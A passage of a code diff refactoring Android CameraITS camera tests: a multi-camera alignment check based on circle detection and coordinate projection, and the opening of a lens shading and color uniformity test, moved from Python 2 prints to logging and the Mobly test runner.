+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      log_path = self.log_path
+      chart_distance = self.chart_distance * CM_TO_M
 
-        # Convert chart_distance for lens facing back
-        if props['android.lens.facing'] == LENS_FACING_BACK:
-            # API spec defines +z is pointing out from screen
-            print 'lens facing BACK'
-            chart_distance *= -1
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.logical_multi_camera(props) and
+          camera_properties_utils.backward_compatible(props))
 
-        # find physical camera IDs
-        ids = its.caps.logical_multi_camera_physical_ids(props)
-        physical_props = {}
-        physical_ids = []
-        physical_raw_ids = []
-        for i in ids:
-            physical_props[i] = cam.get_camera_properties_by_id(i)
-            if physical_props[i]['android.lens.poseReference'] == UNDEFINED_REFERENCE:
-                continue
-            # find YUV+RGB capable physical cameras
-            if (its.caps.backward_compatible(physical_props[i]) and
-                        not its.caps.mono_camera(physical_props[i])):
-                physical_ids.append(i)
-            # find RAW+RGB capable physical cameras
-            if (its.caps.backward_compatible(physical_props[i]) and
-                        not its.caps.mono_camera(physical_props[i]) and
-                        its.caps.raw16(physical_props[i])):
-                physical_raw_ids.append(i)
+      # load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # determine formats and select cameras
-        fmts = ['yuv']
-        if len(physical_raw_ids) >= 2:
-            fmts.insert(0, 'raw')  # add RAW to analysis if enough cameras
-            print 'Selecting RAW+RGB supported cameras'
-            physical_raw_ids = select_ids_to_test(physical_raw_ids,
-                                                  physical_props,
-                                                  chart_distance)
-        print 'Selecting YUV+RGB cameras'
-        its.caps.skip_unless(len(physical_ids) >= 2)
-        physical_ids = select_ids_to_test(physical_ids,
-                                          physical_props,
-                                          chart_distance)
+      debug = self.debug_mode
+      pose_reference = props['android.lens.poseReference']
 
-        # do captures for valid formats
-        caps = {}
-        for i, fmt in enumerate(fmts):
-            physical_sizes = {}
+      # Convert chart_distance for lens facing back
+      if props['android.lens.facing'] == LENS_FACING_BACK:
+        # API spec defines +z is pointing out from screen
+        logging.debug('lens facing BACK')
+        chart_distance *= -1
 
-            capture_cam_ids = physical_ids
-            if fmt == 'raw':
-                capture_cam_ids = physical_raw_ids
+      # find physical camera IDs
+      ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+      physical_props = {}
+      physical_ids = []
+      physical_raw_ids = []
+      for i in ids:
+        physical_props[i] = cam.get_camera_properties_by_id(i)
+        if physical_props[i][
+            'android.lens.poseReference'] == REFERENCE_UNDEFINED:
+          continue
+        # find YUV+RGB capable physical cameras
+        if (camera_properties_utils.backward_compatible(physical_props[i]) and
+            not camera_properties_utils.mono_camera(physical_props[i])):
+          physical_ids.append(i)
+        # find RAW+RGB capable physical cameras
+        if (camera_properties_utils.backward_compatible(physical_props[i]) and
+            not camera_properties_utils.mono_camera(physical_props[i]) and
+            camera_properties_utils.raw16(physical_props[i])):
+          physical_raw_ids.append(i)
 
-            for physical_id in capture_cam_ids:
-                configs = physical_props[physical_id]['android.scaler.streamConfigurationMap']\
-                                   ['availableStreamConfigurations']
-                if fmt == 'raw':
-                    fmt_codes = 0x20
-                    fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_codes]
-                else:
-                    fmt_codes = 0x23
-                    fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_codes]
+      # determine formats and select cameras
+      fmts = ['yuv']
+      if len(physical_raw_ids) >= 2:
+        fmts.insert(0, 'raw')  # add RAW to analysis if enough cameras
+        logging.debug('Selecting RAW+RGB supported cameras')
+        physical_raw_ids = select_ids_to_test(physical_raw_ids, physical_props,
+                                              chart_distance)
+      logging.debug('Selecting YUV+RGB cameras')
+      camera_properties_utils.skip_unless(len(physical_ids) >= 2)
+      physical_ids = select_ids_to_test(physical_ids, physical_props,
+                                        chart_distance)
 
-                out_configs = [cfg for cfg in fmt_configs if not cfg['input']]
-                out_sizes = [(cfg['width'], cfg['height']) for cfg in out_configs]
-                physical_sizes[physical_id] = max(out_sizes, key=lambda item: item[1])
+      # do captures for valid formats
+      caps = {}
+      for i, fmt in enumerate(fmts):
+        physical_sizes = {}
+        capture_cam_ids = physical_ids
+        fmt_code = FMT_CODE_YUV
+        if fmt == 'raw':
+          capture_cam_ids = physical_raw_ids
+          fmt_code = FMT_CODE_RAW
+        for physical_id in capture_cam_ids:
+          configs = physical_props[physical_id][
+              'android.scaler.streamConfigurationMap'][
+                  'availableStreamConfigurations']
+          fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_code]
+          out_configs = [cfg for cfg in fmt_configs if not cfg['input']]
+          out_sizes = [(cfg['width'], cfg['height']) for cfg in out_configs]
+          physical_sizes[physical_id] = max(out_sizes, key=lambda item: item[1])
 
-            out_surfaces = determine_valid_out_surfaces(
-                    cam, props, fmt, capture_cam_ids, physical_sizes)
-            caps = take_images(
-                    cam, caps, physical_props, fmt, capture_cam_ids, out_surfaces, debug)
+        out_surfaces = determine_valid_out_surfaces(
+            cam, props, fmt, capture_cam_ids, physical_sizes)
+        caps = take_images(cam, caps, physical_props, fmt, capture_cam_ids,
+                           out_surfaces, log_path, debug)
 
     # process images for correctness
     for j, fmt in enumerate(fmts):
-        size = {}
-        k = {}
-        cam_reference = {}
-        r = {}
-        t = {}
-        circle = {}
-        fl = {}
-        sensor_diag = {}
-        pixel_sizes = {}
-        capture_cam_ids = physical_ids
-        if fmt == 'raw':
-            capture_cam_ids = physical_raw_ids
-        print '\nFormat:', fmt
-        for i in capture_cam_ids:
-            # process image
-            img = its.image.convert_capture_to_rgb_image(
-                    caps[(fmt, i)], props=physical_props[i])
-            size[i] = (caps[fmt, i]['width'], caps[fmt, i]['height'])
+      size = {}
+      k = {}
+      cam_reference = {}
+      r = {}
+      t = {}
+      circle = {}
+      fl = {}
+      sensor_diag = {}
+      pixel_sizes = {}
+      capture_cam_ids = physical_ids
+      if fmt == 'raw':
+        capture_cam_ids = physical_raw_ids
+      logging.debug('Format: %s', str(fmt))
+      for i in capture_cam_ids:
+        # convert cap and prep image
+        img_name = '%s_%s_%s.jpg' % (os.path.join(log_path, NAME), fmt, i)
+        img = convert_cap_and_prep_img(
+            caps[(fmt, i)], physical_props[i], fmt, img_name, debug)
+        size[i] = (caps[fmt, i]['width'], caps[fmt, i]['height'])
 
-            # save images if debug
-            if debug:
-                its.image.write_image(img, '%s_%s_%s.jpg' % (NAME, fmt, i))
+        # load parameters for each physical camera
+        if j == 0:
+          logging.debug('Camera %s', i)
+        k[i] = camera_properties_utils.get_intrinsic_calibration(
+            physical_props[i], j == 0)
+        r[i] = camera_properties_utils.get_rotation_matrix(
+            physical_props[i], j == 0)
+        t[i] = camera_properties_utils.get_translation_matrix(
+            physical_props[i], j == 0)
 
-            # convert to [0, 255] images
-            img *= 255
+        # API spec defines poseTranslation as the world coordinate p_w_cam of
+        # optics center. When applying [R|t] to go from world coordinates to
+        # camera coordinates, we need -R*p_w_cam of the coordinate reported in
+        # metadata.
+        # ie. for a camera with optical center at world coordinate (5, 4, 3)
+        # and identity rotation, to convert a world coordinate into the
+        # camera's coordinate, we need a translation vector of [-5, -4, -3]
+        # so that: [I|[-5, -4, -3]^T] * [5, 4, 3]^T = [0,0,0]^T
+        t[i] = -1.0 * np.dot(r[i], t[i])
+        if debug and j == 1:
+          logging.debug('t: %s', str(t[i]))
+          logging.debug('r: %s', str(r[i]))
 
-            # scale to match calibration data if RAW
-            if fmt == 'raw':
-                img = cv2.resize(img.astype(np.uint8), None, fx=2, fy=2)
-            else:
-                img = img.astype(np.uint8)
+        if (t[i] == TRANS_MATRIX_REF).all():
+          cam_reference[i] = True
+        else:
+          cam_reference[i] = False
 
-            # load parameters for each physical camera
-            ical = physical_props[i]['android.lens.intrinsicCalibration']
-            assert len(ical) == 5, 'android.lens.instrisicCalibration incorrect.'
-            k[i] = np.array([[ical[0], ical[4], ical[2]],
-                             [0, ical[1], ical[3]],
-                             [0, 0, 1]])
-            if j == 0:
-                print 'Camera %s' % i
-                print ' k:', k[i]
+        # Correct lens distortion to image (if available) and save before/after
+        if (camera_properties_utils.distortion_correction(physical_props[i]) and
+            camera_properties_utils.intrinsic_calibration(physical_props[i]) and
+            fmt == 'raw'):
+          cv2_distort = camera_properties_utils.get_distortion_matrix(
+              physical_props[i])
+          image_processing_utils.write_image(img/255, '%s_%s_%s.jpg' % (
+              os.path.join(log_path, NAME), fmt, i))
+          img = cv2.undistort(img, k[i], cv2_distort)
+          image_processing_utils.write_image(img/255, '%s_%s_correct_%s.jpg' % (
+              os.path.join(log_path, NAME), fmt, i))
 
-            rotation = np.array(physical_props[i]['android.lens.poseRotation'])
-            if j == 0:
-                print ' rotation:', rotation
-            assert len(rotation) == 4, 'poseRotation has wrong # of params.'
-            r[i] = rotation_matrix(rotation)
+        # Find the circles in grayscale image
+        circle[i] = opencv_processing_utils.find_circle(
+            img, '%s_%s_gray_%s.jpg' % (os.path.join(log_path, NAME), fmt, i),
+            CIRCLE_MIN_AREA, CIRCLE_COLOR)
+        logging.debug('Circle radius %s:  %.2f', format(i), circle[i]['r'])
 
-            t[i] = np.array(physical_props[i]['android.lens.poseTranslation'])
-            if j == 0:
-                print ' translation:', t[i]
-            assert len(t[i]) == 3, 'poseTranslation has wrong # of params.'
-            if (t[i] == TRANS_REF_MATRIX).all():
-                cam_reference[i] = True
-            else:
-                cam_reference[i] = False
+        # Undo zoom to image (if applicable).
+        if fmt == 'yuv':
+          circle[i] = undo_zoom(caps[(fmt, i)], physical_props[i], circle[i])
 
-            # API spec defines poseTranslation as the world coordinate p_w_cam of
-            # optics center. When applying [R|t] to go from world coordinates to
-            # camera coordinates, we need -R*p_w_cam of the coordinate reported in
-            # metadata.
-            # ie. for a camera with optical center at world coordinate (5, 4, 3)
-            # and identity rotation, to convert a world coordinate into the
-            # camera's coordinate, we need a translation vector of [-5, -4, -3]
-            # so that: [I|[-5, -4, -3]^T] * [5, 4, 3]^T = [0,0,0]^T
-            t[i] = -1.0 * np.dot(r[i], t[i])
-            if debug and j == 1:
-                print 't:', t[i]
-                print 'r:', r[i]
+        # Find focal length, pixel & sensor size
+        fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
+        pixel_sizes[i] = calc_pixel_size(physical_props[i])
+        sensor_diag[i] = math.sqrt(size[i][0] ** 2 + size[i][1] ** 2)
 
-            # Correct lens distortion to RAW image (if available)
-            if its.caps.distortion_correction(physical_props[i]) and fmt == 'raw':
-                distort = np.array(physical_props[i]['android.lens.distortion'])
-                assert len(distort) == 5, 'distortion has wrong # of params.'
-                cv2_distort = np.array([distort[0], distort[1],
-                                        distort[3], distort[4],
-                                        distort[2]])
-                print ' cv2 distortion params:', cv2_distort
-                its.image.write_image(img/255.0, '%s_%s_%s.jpg' % (
-                        NAME, fmt, i))
-                img = cv2.undistort(img, k[i], cv2_distort)
-                its.image.write_image(img/255.0, '%s_%s_correct_%s.jpg' % (
-                        NAME, fmt, i))
+      i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
+      logging.debug('reference camera: %s, secondary camera: %s', i_ref, i_2nd)
 
-            # Find the circles in grayscale image
-            circle[i] = find_circle(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY),
-                                    '%s_%s_gray_%s.jpg' % (NAME, fmt, i))
-            print 'Circle %s radius: %.3f' % (i, circle[i]['r'])
+      # Convert circle centers to real world coordinates
+      x_w = {}
+      y_w = {}
+      for i in [i_ref, i_2nd]:
+        x_w[i], y_w[i] = convert_to_world_coordinates(
+            circle[i]['x'], circle[i]['y'], r[i], t[i], k[i], chart_distance)
 
-            # Undo zoom to image (if applicable). Assume that the maximum
-            # physical YUV image size is close to active array size.
-            if fmt == 'yuv':
-                yuv_w = caps[(fmt, i)]['width']
-                yuv_h = caps[(fmt, i)]['height']
-                print 'cap size: %d x %d' % (yuv_w, yuv_h)
-                cr = caps[(fmt, i)]['metadata']['android.scaler.cropRegion']
-                crw = cr['right'] - cr['left']
-                crh = cr['bottom'] - cr['top']
-                # Assume pixels remain square after zoom, so use same zoom
-                # ratios for x and y.
-                zoom_ratio = min(1.0 * yuv_w / crw, 1.0 * yuv_h / crh)
-                circle[i]['x'] = cr['left'] + circle[i]['x'] / zoom_ratio
-                circle[i]['y'] = cr['top'] + circle[i]['y'] / zoom_ratio
-                circle[i]['r'] = circle[i]['r'] / zoom_ratio
-                print ' Calculated zoom_ratio:', zoom_ratio
-                print ' Corrected circle X:', circle[i]['x']
-                print ' Corrected circle Y:', circle[i]['y']
-                print ' Corrected circle radius : %.3f'  % circle[i]['r']
+      # Back convert to image coordinates for correctness check
+      x_p = {}
+      y_p = {}
+      x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
+          [x_w[i_ref], y_w[i_ref], chart_distance], r[i_2nd], t[i_2nd],
+          k[i_2nd])
+      x_p[i_ref], y_p[i_ref] = convert_to_image_coordinates(
+          [x_w[i_2nd], y_w[i_2nd], chart_distance], r[i_ref], t[i_ref],
+          k[i_ref])
 
-            # Find focal length and pixel & sensor size
-            fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
-            ar = physical_props[i]['android.sensor.info.pixelArraySize']
-            sensor_size = physical_props[i]['android.sensor.info.physicalSize']
-            pixel_size_w = sensor_size['width'] / (ar['width'])
-            pixel_size_h = sensor_size['height'] / (ar['height'])
-            print 'pixel size(um): %.2f x %.2f' % (
-                pixel_size_w*1E3, pixel_size_h*1E3)
-            pixel_sizes[i] = (pixel_size_w + pixel_size_h) / 2 * 1E3
-            sensor_diag[i] = math.sqrt(size[i][0] ** 2 + size[i][1] ** 2)
+      # Summarize results
+      for i in [i_ref, i_2nd]:
+        logging.debug(' Camera: %s', i)
+        logging.debug(' x, y (pixels): %.1f, %.1f', circle[i]['x'],
+                      circle[i]['y'])
+        logging.debug(' x_w, y_w (mm): %.2f, %.2f', x_w[i] * 1.0E3,
+                      y_w[i] * 1.0E3)
+        logging.debug(' x_p, y_p (pixels): %.1f, %.1f', x_p[i], y_p[i])
 
-        i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
-        print 'reference camera: %s, secondary camera: %s' % (i_ref, i_2nd)
+      # Check center locations
+      err = np.linalg.norm(np.array([x_w[i_ref], y_w[i_ref]]) -
+                           np.array([x_w[i_2nd], y_w[i_2nd]]))
+      logging.debug('Center location err (mm): %.2f', err*M_TO_MM)
+      msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
+      msg += ' val=%.2fmm, THRESH=%.fmm' % (err*M_TO_MM, ALIGN_TOL_MM)
+      assert err < ALIGN_TOL, msg
 
-        # Convert circle centers to real world coordinates
-        x_w = {}
-        y_w = {}
-        for i in [i_ref, i_2nd]:
-            x_w[i], y_w[i] = convert_to_world_coordinates(
-                    circle[i]['x'], circle[i]['y'], r[i], t[i], k[i],
-                    chart_distance)
+      # Check projections back into pixel space
+      for i in [i_ref, i_2nd]:
+        err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
+                             np.array([x_p[i], y_p[i]]))
+        logging.debug('Camera %s projection error (pixels): %.1f', i, err)
+        tol = ALIGN_TOL * sensor_diag[i]
+        msg = 'Camera %s project locations too different!' % i
+        msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
+        assert err < tol, msg
 
-        # Back convert to image coordinates for round-trip check
-        x_p = {}
-        y_p = {}
-        x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
-                [x_w[i_ref], y_w[i_ref], chart_distance],
-                r[i_2nd], t[i_2nd], k[i_2nd])
-        x_p[i_ref], y_p[i_ref] = convert_to_image_coordinates(
-                [x_w[i_2nd], y_w[i_2nd], chart_distance],
-                r[i_ref], t[i_ref], k[i_ref])
-
-        # Summarize results
-        for i in [i_ref, i_2nd]:
-            print ' Camera: %s' % i
-            print ' x, y (pixels): %.1f, %.1f' % (circle[i]['x'], circle[i]['y'])
-            print ' x_w, y_w (mm): %.2f, %.2f' % (x_w[i]*1.0E3, y_w[i]*1.0E3)
-            print ' x_p, y_p (pixels): %.1f, %.1f' % (x_p[i], y_p[i])
-
-        # Check center locations
-        err = np.linalg.norm(np.array([x_w[i_ref], y_w[i_ref]]) -
-                             np.array([x_w[i_2nd], y_w[i_2nd]]))
-        print 'Center location err (mm): %.2f' % (err*1E3)
-        msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
-        msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_ATOL_MM*1E3)
-        assert err < ALIGN_ATOL_MM, msg
-
-        # Check projections back into pixel space
-        for i in [i_ref, i_2nd]:
-            err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
-                                 np.array([x_p[i], y_p[i]]))
-            print 'Camera %s projection error (pixels): %.2f' % (i, err)
-            tol = ALIGN_RTOL * sensor_diag[i]
-            msg = 'Camera %s project locations too different!' % i
-            msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
-            assert err < tol, msg
-
-        # Check focal length and circle size if more than 1 focal length
-        if len(fl) > 1:
-            print 'Circle radii (pixels); ref: %.1f, 2nd: %.1f' % (
-                    circle[i_ref]['r'], circle[i_2nd]['r'])
-            print 'Focal lengths (diopters); ref: %.2f, 2nd: %.2f' % (
-                    fl[i_ref], fl[i_2nd])
-            print 'Pixel size (um); ref: %.2f, 2nd: %.2f' % (
-                    pixel_sizes[i_ref], pixel_sizes[i_2nd])
-            msg = 'Circle size scales improperly! RTOL=%.1f' % CIRCLE_RTOL
-            msg += '\nMetric: radius*pixel_size/focal_length should be equal.'
-            assert np.isclose(circle[i_ref]['r']*pixel_sizes[i_ref]/fl[i_ref],
-                              circle[i_2nd]['r']*pixel_sizes[i_2nd]/fl[i_2nd],
-                              rtol=CIRCLE_RTOL), msg
+      # Check focal length and circle size if more than 1 focal length
+      if len(fl) > 1:
+        logging.debug('Circle radii (pixels); ref: %.1f, 2nd: %.1f',
+                      circle[i_ref]['r'], circle[i_2nd]['r'])
+        logging.debug('Focal lengths (diopters); ref: %.2f, 2nd: %.2f',
+                      fl[i_ref], fl[i_2nd])
+        logging.debug('Pixel size (um); ref: %.2f, 2nd: %.2f',
+                      pixel_sizes[i_ref], pixel_sizes[i_2nd])
+        msg = 'Circle size scales improperly! RTOL=%.1f\n' % CIRCLE_RTOL
+        msg += 'Metric: radius/focal_length*sensor_diag should be equal.'
+        assert np.isclose(circle[i_ref]['r']*pixel_sizes[i_ref]/fl[i_ref],
+                          circle[i_2nd]['r']*pixel_sizes[i_2nd]/fl[i_2nd],
+                          rtol=CIRCLE_RTOL), msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index 95fc543..ae1f315 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -11,243 +11,287 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Test lens shading and color uniformity with diffuser over camera."""
 
-import its.image
-import its.caps
-import its.device
-import its.objects
-import os.path
-import numpy
-import cv2
+
+import logging
 import math
+import os.path
+
+from mobly import test_runner
+import numpy
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_NAME = os.path.basename(__file__).split('.')[0]
+_NSEC_TO_MSEC = 1E-6
+
+# List to create NUM-1 blocks around the center block for sampling grid in image
+_NUM_RADIUS = 8
+_BLOCK_R = 1/2/(_NUM_RADIUS*2-1)  # 'radius' of block (x/2 & y/2 in rel values)
+_BLOCK_POSITION_LIST = numpy.arange(_BLOCK_R, 1/2, _BLOCK_R*2)
+
+# Thresholds for PASS/FAIL
+_THRESH_SHADING_CT = 0.9  # len shading allowance for center
+_THRESH_SHADING_CN = 0.6  # len shading allowance for corner
+_THRESH_SHADING_HIGH = 0.2  # max allowed % for patch to be brighter than center
+_THRESH_UNIFORMITY = 0.2  # uniformity allowance
+
+# cv2 drawing colors
+_CV2_RED = (1, 0, 0)   # blocks failed the test
+_CV2_GREEN = (0, 0.7, 0.3)   # blocks passed the test
 
 
-def main():
-    """ Test that the lens shading correction is applied appropriately, and
-    color of a monochrome uniform scene is evenly distributed, for example,
-    when a diffuser is placed in front of the camera.
-    Perform this test on a yuv frame with auto 3a. Lens shading is evaluated
-    based on the y channel. Measure the average y value for each sample block
-    specified, and then determine pass/fail by comparing with the center y
-    value.
-    The color uniformity test is evaluated in r/g and b/g space. At specified
-    radius of the image, the variance of r/g and b/g value need to be less than
-    a threshold in order to pass the test.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-    # Sample block center location and length
-    Num_radius = 8
-    spb_r = 1/2./(Num_radius*2-1)
-    SPB_CT_LIST = numpy.arange(spb_r, 1/2., spb_r*2)
-
-    # Threshold for pass/fail
-    THRES_LS_CT = 0.9    # len shading allowance for center
-    THRES_LS_CN = 0.6    # len shading allowance for corner
-    THRES_LS_HIGH = 0.2  # max allowed percentage for a patch to be brighter
-                         # than center
-    THRES_UFMT = 0.2     # uniformity allowance
-    # Drawing color
-    RED = (1, 0, 0)   # blocks failed the test
-    GREEN = (0, 0.7, 0.3)   # blocks passed the test
-
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.ae_lock(props) and
-                             its.caps.awb_lock(props))
-        if its.caps.read_3a(props):
-            # Converge 3A and get the estimates.
-            sens, exp, gains, xform, focus = cam.do_3a(get_results=True,
-                                                       do_af=False,
-                                                       lock_ae=True,
-                                                       lock_awb=True)
-            print "AE sensitivity %d, exposure %dms" % (sens, exp / 1000000.0)
-            print "AWB gains", gains
-            print "AWB transform", xform
-            print "AF distance", focus
-        req = its.objects.auto_capture_request()
-        img_size = its.objects.get_available_output_sizes("yuv", props)
-        w = img_size[0][0]
-        h = img_size[0][1]
-        out_surface = {"format": "yuv"}
-        cap = cam.do_capture(req, out_surface)
-        print "Captured yuv %dx%d" % (w, h)
-        # rgb image
-        img_rgb = its.image.convert_capture_to_rgb_image(cap)
-        img_g_pos = img_rgb[:, :, 1] + 0.001  # in case g channel is zero.
-        r_g = img_rgb[:, :, 0] / img_g_pos
-        b_g = img_rgb[:, :, 2] / img_g_pos
-        # y channel
-        img_y = its.image.convert_capture_to_planes(cap)[0]
-        its.image.write_image(img_y, "%s_y_plane.png" % NAME, True)
-
-        # Evaluation begins
-        # image with legend
-        img_legend_ls = numpy.copy(img_rgb)
-        img_legend_ufmt = numpy.copy(img_rgb)
-        line_width = max(2, int(max(h, w)/500))  # line width of legend
-        font_scale = line_width / 7.0   # font scale of the basic font size
-        text_height = cv2.getTextSize('gf', cv2.FONT_HERSHEY_SIMPLEX,
-                                      font_scale, line_width)[0][1]
-        text_offset = int(text_height*1.5)
-
-        # center block average Y value, r/g, and b/g
-        top = int((0.5-spb_r)*h)
-        bottom = int((0.5+spb_r)*h)
-        left = int((0.5-spb_r)*w)
-        right = int((0.5+spb_r)*w)
-        center_y = numpy.mean(img_y[top:bottom, left:right])
-        center_r_g = numpy.mean(r_g[top:bottom, left:right])
-        center_b_g = numpy.mean(b_g[top:bottom, left:right])
-        # add legend to lens Shading figure
-        cv2.rectangle(img_legend_ls, (left, top), (right, bottom), GREEN,
-                      line_width)
-        draw_legend(img_legend_ls, ["Y: %.2f" % center_y],
-                    [left+text_offset, bottom-text_offset],
-                    font_scale, text_offset, GREEN, int(line_width/2))
-        # add legend to color uniformity figure
-        cv2.rectangle(img_legend_ufmt, (left, top), (right, bottom), GREEN,
-                      line_width)
-        texts = ["r/g: %.2f" % center_r_g,
-                 "b/g: %.2f" % center_b_g]
-        draw_legend(img_legend_ufmt, texts,
-                    [left+text_offset, bottom-text_offset*2],
-                    font_scale, text_offset, GREEN, int(line_width/2))
-
-        # evaluate y and r/g, b/g for each block
-        ls_test_failed = []
-        cu_test_failed = []
-        ls_thres_h = center_y * (1 + THRES_LS_HIGH)
-        dist_max = math.sqrt(pow(w, 2)+pow(h, 2))/2
-        for spb_ct in SPB_CT_LIST:
-            # list sample block center location
-            num_sample = int(numpy.asscalar((1-spb_ct*2)/spb_r/2 + 1))
-            ct_cord_x = numpy.concatenate(
-                        (numpy.arange(spb_ct, 1-spb_ct+spb_r, spb_r*2),
-                         spb_ct*numpy.ones((num_sample-1)),
-                         (1-spb_ct)*numpy.ones((num_sample-1)),
-                         numpy.arange(spb_ct, 1-spb_ct+spb_r, spb_r*2)))
-            ct_cord_y = numpy.concatenate(
-                        (spb_ct*numpy.ones(num_sample+1),
-                         numpy.arange(spb_ct+spb_r*2, 1-spb_ct, spb_r*2),
-                         numpy.arange(spb_ct+spb_r*2, 1-spb_ct, spb_r*2),
-                         (1-spb_ct)*numpy.ones(num_sample+1)))
-
-            blocks_info = []
-            max_r_g = 0
-            min_r_g = float("inf")
-            max_b_g = 0
-            min_b_g = float("inf")
-            for spb_ctx, spb_cty in zip(ct_cord_x, ct_cord_y):
-                top = int((spb_cty-spb_r)*h)
-                bottom = int((spb_cty+spb_r)*h)
-                left = int((spb_ctx-spb_r)*w)
-                right = int((spb_ctx+spb_r)*w)
-                dist_to_img_center = math.sqrt(pow(abs(spb_ctx-0.5)*w, 2)
-                                     + pow(abs(spb_cty-0.5)*h, 2))
-                ls_thres_l = ((THRES_LS_CT-THRES_LS_CN)*(1-dist_to_img_center
-                              /dist_max)+THRES_LS_CN) * center_y
-
-                # compute block average value
-                block_y = numpy.mean(img_y[top:bottom, left:right])
-                block_r_g = numpy.mean(r_g[top:bottom, left:right])
-                block_b_g = numpy.mean(b_g[top:bottom, left:right])
-                max_r_g = max(max_r_g, block_r_g)
-                min_r_g = min(min_r_g, block_r_g)
-                max_b_g = max(max_b_g, block_b_g)
-                min_b_g = min(min_b_g, block_b_g)
-                blocks_info.append({"pos": [top, bottom, left, right],
-                                    "block_r_g": block_r_g,
-                                    "block_b_g": block_b_g})
-                # check lens shading and draw legend
-                if block_y > ls_thres_h or block_y < ls_thres_l:
-                    ls_test_failed.append({"pos": [top, bottom, left,
-                                                   right],
-                                           "val": block_y,
-                                           "thres_l": ls_thres_l})
-                    legend_color = RED
-                else:
-                    legend_color = GREEN
-                text_bottom = bottom - text_offset
-                cv2.rectangle(img_legend_ls, (left, top), (right, bottom),
-                              legend_color, line_width)
-                draw_legend(img_legend_ls, ["Y: %.2f" % block_y],
-                            [left+text_offset, text_bottom], font_scale,
-                            text_offset, legend_color, int(line_width/2))
-
-            # check color uniformity and draw legend
-            ufmt_r_g = (max_r_g-min_r_g) / center_r_g
-            ufmt_b_g = (max_b_g-min_b_g) / center_b_g
-            if ufmt_r_g > THRES_UFMT or ufmt_b_g > THRES_UFMT:
-                cu_test_failed.append({"pos": spb_ct,
-                                       "ufmt_r_g": ufmt_r_g,
-                                       "ufmt_b_g": ufmt_b_g})
-                legend_color = RED
-            else:
-                legend_color = GREEN
-            for block in blocks_info:
-                top, bottom, left, right = block["pos"]
-                cv2.rectangle(img_legend_ufmt, (left, top), (right, bottom),
-                              legend_color, line_width)
-                texts = ["r/g: %.2f" % block["block_r_g"],
-                         "b/g: %.2f" % block["block_b_g"]]
-                text_bottom = bottom - text_offset * 2
-                draw_legend(img_legend_ufmt, texts,
-                            [left+text_offset, text_bottom], font_scale,
-                            text_offset, legend_color, int(line_width/2))
-
-        # Save images
-        its.image.write_image(img_legend_ufmt,
-                              "%s_color_uniformity_result.png" % NAME, True)
-        its.image.write_image(img_legend_ls,
-                              "%s_lens_shading_result.png" % NAME, True)
-
-        # print results
-        lens_shading_test_passed = True
-        color_uniformity_test_passed = True
-        if len(ls_test_failed) > 0:
-            lens_shading_test_passed = False
-            print "\nLens shading test summary"
-            print "Center block average Y value: %.3f" % center_y
-            print "Blocks failed in the lens shading test:"
-            for block in ls_test_failed:
-                top, bottom, left, right = block["pos"]
-                print "Block position: [top: %d, bottom: %d, left: %d, right: "\
-                      "%d]; average Y value: %.3f; valid value range: %.3f ~ " \
-                      "%.3f" % (top, bottom, left, right, block["val"],
-                      block["thres_l"], ls_thres_h)
-        if len(cu_test_failed) > 0:
-            color_uniformity_test_passed = False
-            print "\nColor uniformity test summary"
-            print "Valid color uniformity value range: 0 ~ ", THRES_UFMT
-            print "Areas that failed the color uniformity test:"
-            for rd in cu_test_failed:
-                print "Radius position: %.3f; r/g uniformity: %.3f; b/g " \
-                      "uniformity: %.3f" % (rd["pos"], rd["ufmt_r_g"],
-                      rd["ufmt_b_g"])
-        assert lens_shading_test_passed
-        assert color_uniformity_test_passed
+def _calc_block_lens_shading_thresh_l(
+    block_center_x, block_center_y, center_luma, img_w, img_h, dist_max):
+  dist_to_img_center = math.sqrt(pow(abs(block_center_x-0.5)*img_w, 2) +
+                                 pow(abs(block_center_y-0.5)*img_h, 2))
+  return ((_THRESH_SHADING_CT - _THRESH_SHADING_CN) *
+          (1 - dist_to_img_center/dist_max) + _THRESH_SHADING_CN) * center_luma
 
 
-def draw_legend(img, texts, text_org, font_scale, text_offset, legend_color,
-                line_width):
-    """ Draw legend on an image.
+def _calc_color_plane_ratios(img_rgb):
+  """Calculate R/G and B/G ratios."""
+  img_g_plus_delta = img_rgb[:, :, 1] + 0.001  # in case G channel has 0 value.
+  img_r_g = img_rgb[:, :, 0] / img_g_plus_delta
+  img_b_g = img_rgb[:, :, 2] / img_g_plus_delta
+  return img_r_g, img_b_g
 
-    Args:
